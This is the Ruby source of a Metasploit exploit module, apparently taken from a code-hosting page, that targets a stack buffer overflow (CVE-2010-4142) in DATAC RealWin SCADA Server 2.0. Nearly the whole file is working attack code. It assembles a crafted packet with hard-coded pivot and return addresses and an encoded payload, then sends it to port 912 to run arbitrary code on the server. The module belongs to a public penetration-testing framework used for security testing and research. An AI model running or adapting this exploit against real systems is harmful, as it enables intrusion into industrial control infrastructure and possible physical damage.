Path: blob/master/modules/exploits/windows/scada/realwin_scpc_txtevent.rb
19566 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'DATAC RealWin SCADA Server SCPC_TXTEVENT Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in DATAC Control17International RealWin SCADA Server 2.0 (Build 6.1.8.10).18By sending a specially crafted packet,19an attacker may be able to execute arbitrary code.20},21'Author' => [ 'Luigi Auriemma', 'MC' ],22'License' => MSF_LICENSE,23'References' => [24[ 'CVE', '2010-4142'],25[ 'OSVDB', '68812'],26],27'Privileged' => true,28'DefaultOptions' => {29'EXITFUNC' => 'thread',30},31'Payload' => {32'Space' => 550,33'BadChars' => "\x00\x20\x0a\x0d",34'StackAdjustment' => -3500,35},36'Platform' => 'win',37'Targets' => [38[ 'Universal', { 'Pivot' => 0x40017fc2, 'Ret' => 0x4001f6d0 } ],39],40'DefaultTarget' => 0,41'DisclosureDate' => '2010-11-18',42'Notes' => {43'Reliability' => UNKNOWN_RELIABILITY,44'Stability' => UNKNOWN_STABILITY,45'SideEffects' => UNKNOWN_SIDE_EFFECTS46}47)48)4950register_options([Opt::RPORT(912)])51end5253def exploit54connect5556data = [0x6a541264].pack('V')57data << [0x00000010].pack('V')58data << [0x00001ff4].pack('V')59data << rand_text_alpha_upper(164)60data << [target['Pivot']].pack('V')61data << rand_text_alpha_upper(16)62data << [target.ret].pack('V')63data << payload.encoded64data << rand_text_alpha_upper(10024 - payload.encoded.length)6566print_status("Trying target #{target.name}...")67sock.put(data)6869handler70disconnect71end72end737475